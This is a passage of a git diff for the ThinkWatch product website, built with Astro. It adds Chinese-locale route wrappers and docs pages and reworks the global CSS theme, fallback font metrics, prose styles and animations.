        - {filterTypes.map((f, i) => ( - - ))} -
        - -
          - {entries.map(async (entry) => { - const { Content } = await render(entry); - return ( -
        1. - - -
          - v{entry.data.version} - - {entry.data.type} - - -
          - -

          {entry.data.title}

          - - {entry.data.highlights && ( -
            - {entry.data.highlights.map((h) => ( -
          • - - {h} -
          • - ))} -
          - )} - -
          - -
          -
        2. - ); - })} -
        -
        - - - - - - + diff --git a/src/pages/zh-CN/core.astro b/src/pages/zh-CN/core.astro new file mode 100644 index 0000000..2fa6736 --- /dev/null +++ b/src/pages/zh-CN/core.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import CorePage from "~/components/pages/CorePage.astro"; +--- + + diff --git a/src/pages/zh-CN/docs/[...slug].astro b/src/pages/zh-CN/docs/[...slug].astro new file mode 100644 index 0000000..dd0c409 --- /dev/null +++ b/src/pages/zh-CN/docs/[...slug].astro @@ -0,0 +1,13 @@ +--- +// ThinkWatch guides: /zh-CN/docs/. Lite and Core live under their own folders. +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("thinkwatch", "zh-CN"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/zh-CN/docs/core/[slug].astro b/src/pages/zh-CN/docs/core/[slug].astro new file mode 100644 index 0000000..e13cd97 --- /dev/null +++ b/src/pages/zh-CN/docs/core/[slug].astro @@ -0,0 +1,12 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("core", "zh-CN"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/zh-CN/docs/core/index.astro b/src/pages/zh-CN/docs/core/index.astro new file mode 100644 index 0000000..a62fbaa --- /dev/null +++ b/src/pages/zh-CN/docs/core/index.astro @@ -0,0 +1,8 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("core", "zh-CN"); +--- + + diff --git a/src/pages/zh-CN/docs/index.astro b/src/pages/zh-CN/docs/index.astro new file mode 100644 index 0000000..d748f16 --- /dev/null +++ b/src/pages/zh-CN/docs/index.astro @@ -0,0 +1,5 @@ +--- +import DocsHome from "~/pages/docs/_DocsHome.astro"; +--- + + diff --git a/src/pages/zh-CN/docs/lite/[slug].astro b/src/pages/zh-CN/docs/lite/[slug].astro new file mode 100644 index 0000000..500fc9c --- /dev/null +++ b/src/pages/zh-CN/docs/lite/[slug].astro @@ -0,0 +1,12 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getArticlePaths } from "~/pages/docs/_lib"; + +export async function getStaticPaths() { + return getArticlePaths("lite", "zh-CN"); +} + +const { entry, slug } = Astro.props; +--- + + diff --git a/src/pages/zh-CN/docs/lite/index.astro b/src/pages/zh-CN/docs/lite/index.astro new file mode 100644 index 0000000..8bcd79f --- /dev/null +++ b/src/pages/zh-CN/docs/lite/index.astro @@ -0,0 +1,8 @@ +--- +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("lite", "zh-CN"); +--- + + diff --git a/src/pages/zh-CN/docs/overview.astro b/src/pages/zh-CN/docs/overview.astro new file mode 100644 index 0000000..f6064fa --- /dev/null +++ b/src/pages/zh-CN/docs/overview.astro @@ -0,0 +1,10 @@ +--- +// ThinkWatch Enterprise's docs home. Its guides are /docs/; /docs is the +// documentation home for all three products. +import DocArticle from "~/pages/docs/_DocArticle.astro"; +import { getHomeEntry } from "~/pages/docs/_lib"; + +const entry = await getHomeEntry("thinkwatch", "zh-CN"); +--- + + diff --git a/src/pages/zh-CN/import.astro b/src/pages/zh-CN/import.astro new file mode 100644 index 0000000..7f67b64 --- /dev/null +++ b/src/pages/zh-CN/import.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ImportPage from "~/components/pages/ImportPage.astro"; +--- + + diff --git a/src/pages/zh-CN/index.astro b/src/pages/zh-CN/index.astro index cfb728e..177e087 100644 --- a/src/pages/zh-CN/index.astro +++ b/src/pages/zh-CN/index.astro @@ -1,33 +1,5 @@ --- -import Base from "~/layouts/Base.astro"; -import SiteHeader from "~/components/SiteHeader.astro"; -import SiteFooter from "~/components/SiteFooter.astro"; -import Hero from "~/components/sections/Hero.astro"; -import CompatibleWith from "~/components/sections/CompatibleWith.astro"; -import Problem from "~/components/sections/Problem.astro"; -import HowItWorks from "~/components/sections/HowItWorks.astro"; -import FeaturesSection from "~/components/sections/FeaturesSection.astro"; -import LivePanels from "~/components/sections/LivePanels.astro"; -import QuickStart from "~/components/sections/QuickStart.astro"; -import License from "~/components/sections/License.astro"; -import StarHistory from "~/components/sections/StarHistory.astro"; +import HomePage from "~/components/pages/HomePage.astro"; --- - - -
        - - - - - - - - - -
        - - + diff --git a/src/pages/zh-CN/lite.astro b/src/pages/zh-CN/lite.astro new file mode 100644 index 0000000..d1b02c7 --- /dev/null +++ b/src/pages/zh-CN/lite.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import LitePage from "~/components/pages/LitePage.astro"; +--- + + diff --git a/src/pages/zh-CN/pricing.astro b/src/pages/zh-CN/pricing.astro new file mode 100644 index 0000000..50e66cc --- /dev/null +++ b/src/pages/zh-CN/pricing.astro @@ -0,0 +1,5 @@ +--- +import PricingPage from "~/components/pages/PricingPage.astro"; +--- + + diff --git a/src/pages/zh-CN/thinkwatch.astro b/src/pages/zh-CN/thinkwatch.astro new file mode 100644 index 0000000..261a1ee --- /dev/null +++ b/src/pages/zh-CN/thinkwatch.astro @@ -0,0 +1,6 @@ +--- +// Thin route wrapper; Astro i18n routing sets the locale from the path. +import ThinkWatchPage from "~/components/pages/ThinkWatchPage.astro"; +--- + + diff --git a/src/styles/global.css b/src/styles/global.css index da3aa29..e3567ce 100644 --- a/src/styles/global.css +++ b/src/styles/global.css @@ -2,22 +2,95 @@ /* ---------- Theme tokens ---------- */ @theme { - --color-bg: #0a0a0f; - --color-surface: #11111a; - --color-surface-2: #161622; - --color-border: #232336; - --color-border-strong: #2e2e44; + /* Near-black neutral ground; the accent is the desktop app mark's neon pair + (cyan to magenta), with amber for warnings. */ + --color-bg: #08090a; + --color-surface: #0f1012; + --color-surface-2: #151619; + --color-border: #1c1d21; + --color-border-strong: #2a2c31; + --color-navy: #1c1d21; - --color-text: #e5e7eb; - --color-muted: #9ca3af; - --color-dim: #6b7280; + --color-text: #f7f8f8; + --color-muted: #8a8f98; + --color-dim: #7a808a; - --color-brand-1: #22d3ee; /* cyan-400 */ - --color-brand-2: #a78bfa; /* violet-400 */ - --color-accent: #f472b6; /* pink-400 */ + --color-brand-1: #22e5f2; /* mark cyan */ + --color-brand-2: #8ff3f9; /* light cyan, for hover */ + --color-brand-3: #f05cd8; /* mark magenta */ + --color-accent: #e5c07b; /* amber: flagged, held, warnings */ - --font-sans: "Geist", "Inter", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif; - --font-mono: "Geist Mono", "JetBrains Mono", ui-monospace, SFMono-Regular, Menlo, monospace; + /* Legacy palette classes used across older components are remapped onto the + brand ramps: cyan onto the mark's cyan, violet and purple onto its magenta, + pink and fuchsia onto amber. */ + --color-cyan-50: #ecfdfe; --color-cyan-100: #cffafd; --color-cyan-200: #a5f4fa; --color-cyan-300: #67edf6; --color-cyan-400: #22e5f2; + --color-cyan-500: #0bc6d4; --color-cyan-600: #0a9eaa; --color-cyan-700: #0e7d87; --color-cyan-800: #12626a; --color-cyan-900: #134f56; --color-cyan-950: #05333a; + --color-violet-50: #fdf0fb; --color-violet-100: #fbdff6; --color-violet-200: #f7c0ed; --color-violet-300: #f39be3; --color-violet-400: #f05cd8; + --color-violet-500: #e03cc4; --color-violet-600: #c229a6; --color-violet-700: #9c2186; --color-violet-800: #7a1b69; --color-violet-900: #5e1651; --color-violet-950: #3a0b31; + --color-purple-300: #f39be3; --color-purple-400: #f05cd8; --color-purple-500: #e03cc4; + --color-pink-50: #fbf6ec; --color-pink-100: #f6eacf; --color-pink-200: #efd9a8; --color-pink-300: #e9cb8e; --color-pink-400: #e5c07b; + --color-pink-500: #d6a95a; --color-pink-600: #b98a3f; --color-pink-700: #946b31; --color-pink-800: #74542b; --color-pink-900: #5f4526; --color-pink-950: #352413; + --color-fuchsia-300: #e9cb8e; --color-fuchsia-400: #e5c07b; --color-fuchsia-500: #d6a95a; + + /* Geist is self-hosted (src/components/Fonts.astro). Chinese text uses the + system's CJK font: PingFang on macOS and iOS, Microsoft YaHei on Windows, + Noto Sans CJK on Linux and Android. */ + --font-sans: "Geist", "Geist Fallback", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Noto Sans CJK SC", "Noto Sans SC", "Source Han Sans SC", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif; + --font-mono: "Geist Mono", "Geist Mono Fallback", "JetBrains Mono", ui-monospace, SFMono-Regular, Menlo, monospace; +} + +/* ---------- Fallback faces ---------- */ +/* Until Geist and Geist Mono have loaded, text is set in a local font scaled + to their metrics, so that swapping them in does not reflow the page. For + each weight, size-adjust is the ratio of the widths of the English text of + this site's pages set in Geist and in the local font (Arial for 400 and + 500, Arial Bold for 600 and 700, Courier New for Geist Mono); the ascent, + descent and line gap are Geist's, divided by size-adjust. Arial, Liberation + Sans and Arimo share their metrics, as do Courier New, Liberation Mono and + Cousine, so one set of figures serves macOS, Windows and Linux. */ +@font-face { + font-family: "Geist Fallback"; + src: local("Arial"), local("ArialMT"), local("Liberation Sans"), local("LiberationSans"), local("Arimo"); + font-weight: 100 400; + size-adjust: 102.26%; + ascent-override: 98.28%; + descent-override: 28.85%; + line-gap-override: 0%; +} +@font-face { + font-family: "Geist Fallback"; + src: local("Arial"), local("ArialMT"), local("Liberation Sans"), local("LiberationSans"), local("Arimo"); + font-weight: 500; + size-adjust: 104.69%; + ascent-override: 96%; + descent-override: 28.18%; + line-gap-override: 0%; +} +@font-face { + font-family: "Geist Fallback"; + src: local("Arial Bold"), local("Arial-BoldMT"), local("Liberation Sans Bold"), local("LiberationSans-Bold"), local("Arimo Bold"), local("Arimo-Bold"); + font-weight: 600; + size-adjust: 99.89%; + ascent-override: 100.61%; + descent-override: 29.53%; + line-gap-override: 0%; +} +@font-face { + font-family: "Geist Fallback"; + src: local("Arial Bold"), local("Arial-BoldMT"), local("Liberation Sans Bold"), local("LiberationSans-Bold"), local("Arimo Bold"), local("Arimo-Bold"); + font-weight: 700 900; + size-adjust: 102.13%; + ascent-override: 98.4%; + descent-override: 28.88%; + line-gap-override: 0%; +} +@font-face { + font-family: "Geist Mono Fallback"; + src: local("Courier New"), local("CourierNewPSMT"), local("Liberation Mono"), local("LiberationMono"), local("Cousine"); + size-adjust: 99.98%; + ascent-override: 100.52%; + descent-override: 29.5%; + line-gap-override: 0%; } /* ---------- Base ---------- */ @@ -25,6 +98,14 @@ html { scroll-behavior: smooth; color-scheme: dark; + /* Prevent iOS Safari from zooming form inputs with font-size < 16px */ + -webkit-text-size-adjust: 100%; + } + + html, body { + /* Avoid horizontal scroll caused by decorative absolute-positioned elements + that bleed sideways (aurora orbs, etc). */ + overflow-x: clip; } body { @@ -36,6 +117,14 @@ text-rendering: optimizeLegibility; } + /* iOS Safari — make sure search inputs don't zoom the viewport */ + input[type="search"], + input[type="text"], + input[type="email"], + textarea { + font-size: 16px; + } + ::selection { background: color-mix(in oklab, var(--color-brand-1) 35%, transparent); color: #fff; @@ -49,8 +138,8 @@ pointer-events: none; z-index: -2; background-image: - linear-gradient(to right, rgba(255,255,255,0.025) 1px, transparent 1px), - linear-gradient(to bottom, rgba(255,255,255,0.025) 1px, transparent 1px); + linear-gradient(to right, rgba(255,255,255,0.03) 1px, transparent 1px), + linear-gradient(to bottom, rgba(255,255,255,0.03) 1px, transparent 1px); background-size: 56px 56px; mask-image: radial-gradient(ellipse at center, #000 30%, transparent 80%); } @@ -63,26 +152,61 @@ pointer-events: none; z-index: -1; background: - radial-gradient(60rem 40rem at 15% -10%, color-mix(in oklab, var(--color-brand-1) 22%, transparent), transparent 60%), - radial-gradient(50rem 35rem at 90% 10%, color-mix(in oklab, var(--color-brand-2) 22%, transparent), transparent 60%), - radial-gradient(40rem 30rem at 50% 100%, color-mix(in oklab, var(--color-accent) 12%, transparent), transparent 70%); + radial-gradient(60rem 40rem at 15% -10%, color-mix(in oklab, var(--color-brand-1) 9%, transparent), transparent 60%), + radial-gradient(50rem 35rem at 90% 5%, color-mix(in oklab, var(--color-brand-3) 7%, transparent), transparent 60%), + radial-gradient(40rem 30rem at 50% 100%, color-mix(in oklab, var(--color-brand-1) 4%, transparent), transparent 70%); filter: blur(20px); } } +/* The brand pair as RGB triples, for colours with alpha: rgb(var(--a1) / 0.4) */ +:root { + --a1: 34 229 242; + --a2: 240 92 216; +} + /* ---------- Utilities ---------- */ @layer utilities { .text-gradient { - background: linear-gradient(120deg, #67e8f9 0%, #c4b5fd 50%, #f0abfc 100%); + background: linear-gradient(100deg, var(--color-brand-1) 0%, #8fb8ff 50%, var(--color-brand-3) 100%); -webkit-background-clip: text; background-clip: text; color: transparent; } .bg-brand-gradient { - background: linear-gradient(135deg, var(--color-brand-1) 0%, var(--color-brand-2) 100%); + background: linear-gradient(135deg, var(--color-brand-1) 0%, var(--color-brand-3) 100%); + } + + /* Display headings use the product sans at a heavier weight. */ + .font-display { + font-family: var(--font-sans); + font-weight: 600; + letter-spacing: -0.025em; + } + :lang(zh-CN) .font-display { + letter-spacing: 0; + } + + /* The mark's cyan-to-magenta, with a light sweep passing through it. */ + .text-shimmer { + background: linear-gradient(100deg, var(--color-brand-1) 0%, #8fb8ff 30%, #f4f6ff 45%, var(--color-brand-3) 65%, var(--color-brand-3) 100%); + background-size: 250% 100%; + background-position: 100% 0; + -webkit-background-clip: text; + background-clip: text; + color: transparent; + animation: tw-shine 5s ease-in-out 1.2s infinite; } + .reveal { + opacity: 0; + animation: tw-rise 900ms cubic-bezier(0.2, 0.7, 0.2, 1) forwards; + } + + .blink { animation: tw-blink 1s steps(1) infinite; } + .pulse-dot { animation: tw-blink 1.4s ease-in-out infinite; } + .border-gradient { position: relative; isolation: isolate; @@ -93,7 +217,7 @@ inset: 0; padding: 1px; border-radius: inherit; - background: linear-gradient(135deg, color-mix(in oklab, var(--color-brand-1) 60%, transparent), color-mix(in oklab, var(--color-brand-2) 60%, transparent)); + background: linear-gradient(135deg, color-mix(in oklab, var(--color-brand-1) 60%, transparent), color-mix(in oklab, var(--color-brand-3) 60%, transparent)); -webkit-mask: linear-gradient(#000 0 0) content-box, linear-gradient(#000 0 0); @@ -105,7 +229,7 @@ .glow { box-shadow: 0 0 0 1px color-mix(in oklab, var(--color-brand-1) 40%, transparent), - 0 10px 40px -10px color-mix(in oklab, var(--color-brand-2) 50%, transparent); + 0 10px 40px -10px color-mix(in oklab, var(--color-brand-3) 45%, transparent); } .container-page { @@ -116,6 +240,181 @@ } } +@keyframes tw-shine { 0% { background-position: 100% 0; } 45%, 100% { background-position: -50% 0; } } +@keyframes tw-rise { from { opacity: 0; transform: translateY(18px); } to { opacity: 1; transform: none; } } +@keyframes tw-blink { 50% { opacity: 0; } } +@keyframes tw-marquee { to { transform: translateX(-50%); } } +@keyframes tw-fade-in { from { opacity: 0; transform: translateY(-6px); } to { opacity: 1; transform: none; } } + +/* ---------- Markdown prose (docs) ---------- */ +.prose-tw { + color: var(--color-text); + font-size: 0.95rem; + line-height: 1.75; + max-width: 72ch; +} +.prose-tw > * + * { margin-top: 1.1em; } + +.prose-tw h1, +.prose-tw h2, +.prose-tw h3, +.prose-tw h4 { + color: #fff; + font-weight: 600; + letter-spacing: -0.015em; + scroll-margin-top: 5rem; + position: relative; +} +.prose-tw h1 { font-size: clamp(2rem, 3.4vw, 2.75rem); line-height: 1.1; margin-top: 0; margin-bottom: 0.45em; letter-spacing: -0.035em; text-wrap: balance; } +:lang(zh-CN) .prose-tw h1 { line-height: 1.22; letter-spacing: -0.01em; } +/* The paragraph under the title reads as the page's lede */ +.prose-tw > h1 + p { font-size: 1.1rem; line-height: 1.7; color: var(--color-muted); } +.prose-tw h2 { font-size: 1.55rem; line-height: 1.25; margin-top: 2.6em; margin-bottom: 0.6em; letter-spacing: -0.025em; } +:lang(zh-CN) .prose-tw h2 { letter-spacing: -0.005em; } +.prose-tw h3 { font-size: 1.15rem; line-height: 1.35; margin-top: 2em; margin-bottom: 0.5em; } +.prose-tw h4 { font-size: 1.0rem; line-height: 1.4; margin-top: 1.6em; margin-bottom: 0.4em; color: #e5e7eb; } + +.prose-tw p, +.prose-tw ul, +.prose-tw ol, +.prose-tw blockquote { + color: #c3c7ce; +} +.prose-tw a { + color: var(--color-brand-1); + text-decoration: underline; + text-decoration-color: color-mix(in oklab, var(--color-brand-1) 35%, transparent); + text-underline-offset: 3px; + text-decoration-thickness: 1px; + transition: color 150ms, text-decoration-color 150ms; +} +.prose-tw a:hover { + color: #fff; + text-decoration-color: #fff; +} + +.prose-tw strong { color: #fff; font-weight: 600; } +.prose-tw em { color: #e5e7eb; } + +.prose-tw ul, +.prose-tw ol { padding-left: 1.4em; } +.prose-tw ul { list-style: disc; } +.prose-tw ol { list-style: decimal; } +.prose-tw li { margin-top: 0.4em; } +.prose-tw li::marker { color: var(--color-dim); } + +/* A note: the mark's cyan as a rule down its side */ +.prose-tw blockquote { + border-left: 2px solid rgb(var(--a1)); + padding: 0.8em 1.1em; + background: rgb(var(--a1) / 0.05); + border-radius: 0 10px 10px 0; +} +.prose-tw blockquote p { color: #d4d7dc; } +.prose-tw blockquote > * + * { margin-top: 0.6em; } + +.prose-tw hr { + border: 0; + border-top: 1px solid rgba(255,255,255,0.08); + margin: 2.5em 0; +} + +/* Inline code */ +.prose-tw :not(pre) > code { + font-family: var(--font-mono); + font-size: 0.85em; + color: #e6e8eb; + background: rgba(255, 255, 255, 0.06); + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 0.1em 0.4em; + border-radius: 5px; +} + +/* Code blocks (Shiki output) */ +.prose-tw pre.shiki, +.prose-tw pre.astro-code { + background: #0b0c0e !important; + border: 1px solid rgba(255,255,255,0.1); + border-radius: 12px; + padding: 1.1rem 1.25rem; + font-size: 0.81rem; + line-height: 1.65; + overflow-x: auto; + font-family: var(--font-mono); +} +.prose-tw pre.shiki code, +.prose-tw pre.astro-code code { + background: transparent; + border: 0; + padding: 0; + color: inherit; + font-size: inherit; +} + +/* Tables */ +.prose-tw table { + width: 100%; + border-collapse: collapse; + font-size: 0.85rem; + margin: 1.5em 0; +} +/* A table wider than the column scrolls inside its wrapper (rehypeScrollingTables + in astro.config.mjs). */ +.prose-tw .table-scroll { + overflow-x: auto; + margin: 1.5em 0; + border: 1px solid rgba(255,255,255,0.1); + border-radius: 12px; +} +.prose-tw .table-scroll > table { margin: 0; } +@media (max-width: 40rem) { + /* On a phone a wide table keeps readable columns and scrolls, rather than + being squeezed into the width of the screen. */ + .prose-tw .table-scroll > table { + width: max-content; + min-width: 100%; + max-width: 36rem; + } +} +.prose-tw thead { background: rgba(255,255,255,0.03); } +.prose-tw th { + text-align: left; + font-weight: 600; + color: #fff; + padding: 0.7em 1em; + border-bottom: 1px solid rgba(255,255,255,0.12); +} +.prose-tw td { + padding: 0.6em 1em; + border-bottom: 1px solid rgba(255,255,255,0.06); + color: #c3c7ce; +} +.prose-tw tbody tr:last-child td { border-bottom: 0; } +.prose-tw tr:hover td { background: rgba(255,255,255,0.02); } + +/* Heading anchor link (rehype-autolink-headings) */ +.prose-tw .heading-anchor { + margin-left: 0.5em; + color: var(--color-dim); + text-decoration: none; + opacity: 0; + transition: opacity 150ms, color 150ms; + font-weight: 400; +} +.prose-tw h1:hover .heading-anchor, +.prose-tw h2:hover .heading-anchor, +.prose-tw h3:hover .heading-anchor, +.prose-tw h4:hover .heading-anchor { opacity: 1; } +.prose-tw .heading-anchor:hover { color: var(--color-brand-1); } + +/* Images */ +.prose-tw img { + max-width: 100%; + border-radius: 12px; + border: 1px solid rgba(255,255,255,0.08); + margin: 1.5em 0; +} + /* ---------- Shiki host ---------- */ .shiki-host pre.shiki { background: transparent !important; @@ -137,3 +436,142 @@ scroll-behavior: auto !important; } } + +/* ---------- Neon design language (shared by the product pages) ---------- + Near-black ground, the mark's cyan→magenta pair, large tight headings, + hairlines rather than boxes, the product shown in motion. Motion moves + position only, so every block reads without script (NeonMotion adds + .nx-motion and data-in); reduced motion stops all of it. */ +@layer components { + .nx-section { padding-block: 104px; } + .nx-section-tight { padding-block: 72px; } + .nx-hairline { border-top: 1px solid rgba(255, 255, 255, 0.08); } + + .nx-hero { position: relative; isolation: isolate; padding: 72px 0 64px; } + .nx-aurora { + position: absolute; inset: -160px 0 auto; height: 820px; z-index: -1; pointer-events: none; + -webkit-mask-image: linear-gradient(#000 40%, transparent 92%); mask-image: linear-gradient(#000 40%, transparent 92%); + filter: blur(40px); + } + .nx-aurora i { position: absolute; border-radius: 50%; opacity: 0.5; } + .nx-aurora i:nth-child(1) { width: 620px; height: 360px; left: 52%; top: 90px; background: radial-gradient(closest-side, rgb(var(--a1) / 0.42), transparent); animation: nx-drift1 16s ease-in-out infinite; } + .nx-aurora i:nth-child(2) { width: 520px; height: 320px; left: 68%; top: 220px; background: radial-gradient(closest-side, rgb(var(--a2) / 0.36), transparent); animation: nx-drift2 19s ease-in-out infinite; } + .nx-aurora i:nth-child(3) { width: 480px; height: 280px; left: 8%; top: 40px; background: radial-gradient(closest-side, rgba(110, 130, 255, 0.16), transparent); animation: nx-drift1 22s ease-in-out infinite reverse; } + .nx-gridbg { + position: absolute; inset: 0 0 auto; height: 720px; z-index: -1; pointer-events: none; + background-image: linear-gradient(to right, rgba(255,255,255,0.035) 1px, transparent 1px), linear-gradient(to bottom, rgba(255,255,255,0.035) 1px, transparent 1px); + background-size: 64px 64px; + -webkit-mask-image: radial-gradient(ellipse 70% 60% at 65% 30%, #000 20%, transparent 75%); mask-image: radial-gradient(ellipse 70% 60% at 65% 30%, #000 20%, transparent 75%); + } + + .nx-announce { + display: inline-flex; align-items: center; gap: 10px; border: 1px solid rgba(255,255,255,0.14); border-radius: 999px; + padding: 6px 14px 6px 10px; font-size: 13px; color: var(--color-muted); background: rgba(255,255,255,0.02); transition: color 150ms; + } + .nx-announce:hover { color: var(--color-text); } + .nx-announce .dot { width: 6px; height: 6px; border-radius: 99px; background: rgb(var(--a1)); box-shadow: 0 0 10px rgb(var(--a1)); animation: nx-blink 2s ease-in-out infinite; } + .nx-announce .chev { color: var(--color-dim); } + + .nx-h1 { margin: 26px 0 0; font-size: clamp(38px, 5.2vw, 64px); line-height: 1.08; font-weight: 600; letter-spacing: -0.035em; color: #fff; text-wrap: balance; } + :lang(zh-CN) .nx-h1 { font-size: clamp(34px, 4.4vw, 56px); line-height: 1.2; letter-spacing: -0.01em; } + .nx-h2 { margin: 0; max-width: 860px; font-size: clamp(30px, 4vw, 48px); line-height: 1.14; font-weight: 600; letter-spacing: -0.03em; color: #fff; text-wrap: balance; } + :lang(zh-CN) .nx-h2 { letter-spacing: -0.01em; line-height: 1.25; } + .nx-h3 { margin: 0; font-size: 17px; font-weight: 600; letter-spacing: -0.01em; color: #fff; } + .nx-grad { background: linear-gradient(90deg, rgb(var(--a1)), rgb(var(--a2))); -webkit-background-clip: text; background-clip: text; color: transparent; } + .nx-dim { color: var(--color-muted); } + .nx-lede { margin: 24px 0 0; max-width: 600px; font-size: 18px; line-height: 1.65; color: var(--color-muted); } + .nx-sub { margin: 18px 0 0; max-width: 680px; font-size: 17px; line-height: 1.7; color: var(--color-muted); } + .nx-body { margin: 8px 0 0; font-size: 15px; line-height: 1.65; color: var(--color-muted); } + .nx-label { font-size: 13px; color: var(--color-dim); } + .nx-rise { animation: nx-rise 800ms cubic-bezier(0.2, 0.7, 0.2, 1) both; animation-delay: calc(var(--d, 0) * 130ms + 80ms); } + + .nx-actions { margin-top: 32px; display: flex; flex-wrap: wrap; align-items: flex-start; gap: 12px 16px; } + .nx-pill { + display: inline-flex; min-height: 44px; align-items: center; justify-content: center; border-radius: 999px; background: #f7f8f8; + padding: 0 22px; font-size: 15px; font-weight: 600; color: #08090a; transition: background 160ms, transform 160ms, box-shadow 160ms; + } + .nx-pill:hover { background: #fff; transform: translateY(-1px); box-shadow: 0 8px 30px -8px rgb(var(--a1) / 0.5); } + .nx-ghost { + display: inline-flex; min-height: 44px; align-items: center; border-radius: 999px; border: 1px solid rgba(255,255,255,0.15); + padding: 0 20px; font-size: 15px; color: var(--color-text); transition: background 160ms, border-color 160ms; + } + .nx-ghost:hover { background: rgba(255,255,255,0.04); border-color: rgba(255,255,255,0.26); } + .nx-link { display: inline-flex; min-height: 44px; align-items: center; gap: 6px; font-size: 15px; font-weight: 500; color: var(--color-text); transition: color 150ms; } + .nx-link::after { content: "→"; color: var(--color-dim); transition: transform 150ms, color 150ms; } + .nx-link:hover { color: #fff; } + .nx-link:hover::after { transform: translateX(3px); color: rgb(var(--a1)); } + + /* A window: hairline frame, a light line sweeping along its top edge */ + .nx-panel { + position: relative; min-width: 0; overflow: hidden; border: 1px solid rgba(255,255,255,0.14); border-radius: 16px; + background: linear-gradient(180deg, rgba(20,21,24,0.92), rgba(12,13,15,0.92)); + box-shadow: 0 40px 120px -40px rgb(var(--a1) / 0.28), 0 30px 80px -30px rgba(0,0,0,0.8); + } + .nx-panel::before { + content: ""; position: absolute; inset: 0 0 auto; height: 1px; z-index: 1; + background: linear-gradient(90deg, transparent, rgb(var(--a1) / 0.8), rgb(var(--a2) / 0.8), transparent); background-size: 200% 100%; + animation: nx-sweep 6s linear infinite; + } + .nx-panel-top { display: flex; align-items: center; gap: 14px; border-bottom: 1px solid rgba(255,255,255,0.08); padding: 12px 16px; font-size: 12px; color: var(--color-muted); } + .nx-lights { display: inline-flex; gap: 6px; } + .nx-lights i { width: 10px; height: 10px; border-radius: 99px; background: #2a2c31; } + .nx-live { display: inline-flex; align-items: center; gap: 6px; font-family: var(--font-mono); font-size: 11px; letter-spacing: 0.08em; color: rgb(var(--a1)); } + .nx-live i { width: 6px; height: 6px; border-radius: 99px; background: rgb(var(--a1)); animation: nx-blink 1.6s ease-in-out infinite; } + + /* Tiles: a quiet surface with a light that follows the pointer */ + .nx-bento { display: grid; grid-template-columns: repeat(6, minmax(0, 1fr)); gap: 12px; } + .nx-tile { + --mx: -200px; --my: -200px; position: relative; min-width: 0; overflow: hidden; border-radius: 16px; + border: 1px solid rgba(255,255,255,0.08); background: linear-gradient(180deg, #141518, #0f1012); padding: 28px; transition: border-color 200ms; + } + .nx-tile::before { content: ""; position: absolute; inset: 0; pointer-events: none; background: radial-gradient(360px circle at var(--mx) var(--my), rgb(var(--a1) / 0.1), transparent 60%); } + .nx-tile:hover { border-color: rgba(255,255,255,0.14); } + .nx-span-2 { grid-column: span 2; } + .nx-span-3 { grid-column: span 3; } + .nx-span-4 { grid-column: span 4; } + .nx-span-6 { grid-column: span 6; } + @media (max-width: 1023px) { + .nx-bento { grid-template-columns: repeat(2, minmax(0, 1fr)); } + .nx-span-2, .nx-span-3 { grid-column: span 1; } + .nx-span-4, .nx-span-6 { grid-column: span 2; } + } + @media (max-width: 700px) { + .nx-bento { grid-template-columns: 1fr; } + .nx-span-2, .nx-span-3, .nx-span-4, .nx-span-6 { grid-column: auto; } + } + .nx-big { margin: 0; font-size: 48px; font-weight: 600; letter-spacing: -0.03em; line-height: 1.05; font-variant-numeric: tabular-nums; } + + /* Hairline columns: sections side by side, split by thin rules */ + .nx-cols { display: grid; grid-template-columns: repeat(var(--cols, 3), minmax(0, 1fr)); border-top: 1px solid rgba(255,255,255,0.08); } + .nx-cols > * { padding: 28px 28px 8px; border-left: 1px solid rgba(255,255,255,0.08); min-width: 0; } + .nx-cols > *:first-child { border-left: 0; padding-left: 0; } + @media (max-width: 860px) { + .nx-cols { grid-template-columns: 1fr; } + .nx-cols > *, .nx-cols > *:first-child { border-left: 0; padding: 28px 0 8px; border-top: 1px solid rgba(255,255,255,0.08); } + .nx-cols > *:first-child { border-top: 0; } + } + .nx-fig { margin: 0; font-family: var(--font-mono); font-size: 11px; letter-spacing: 0.08em; color: var(--color-dim); } + + /* Scrolling wall of names */ + .nx-marquee { overflow: hidden; -webkit-mask-image: linear-gradient(90deg, transparent, #000 12%, #000 88%, transparent); mask-image: linear-gradient(90deg, transparent, #000 12%, #000 88%, transparent); } + .nx-track { display: flex; width: max-content; gap: 56px; margin: 0; padding: 0; list-style: none; font-size: 17px; font-weight: 560; letter-spacing: -0.01em; color: #9ca1a9; animation: nx-marquee 38s linear infinite; } + .nx-marquee:hover .nx-track { animation-play-state: paused; } + + .nx-motion .nx-in { transform: translateY(28px); transition: transform 900ms cubic-bezier(0.2, 0.7, 0.2, 1); } + .nx-motion .nx-in[data-in] { transform: none; } + .nx-tick { animation: nx-tick 600ms ease-out; } +} + +@keyframes nx-rise { from { opacity: 0; transform: translateY(14px); } } +@keyframes nx-blink { 50% { opacity: 0.3; } } +@keyframes nx-sweep { to { background-position: -200% 0; } } +@keyframes nx-drift1 { 0%, 100% { transform: translate(0, 0) scale(1); } 50% { transform: translate(-60px, 40px) scale(1.15); } } +@keyframes nx-drift2 { 0%, 100% { transform: translate(0, 0) scale(1); } 50% { transform: translate(50px, -30px) scale(0.9); } } +@keyframes nx-halo { 0%, 100% { opacity: 0.8; transform: scale(1); } 50% { opacity: 1; transform: scale(1.06); } } +@keyframes nx-bob { 0%, 100% 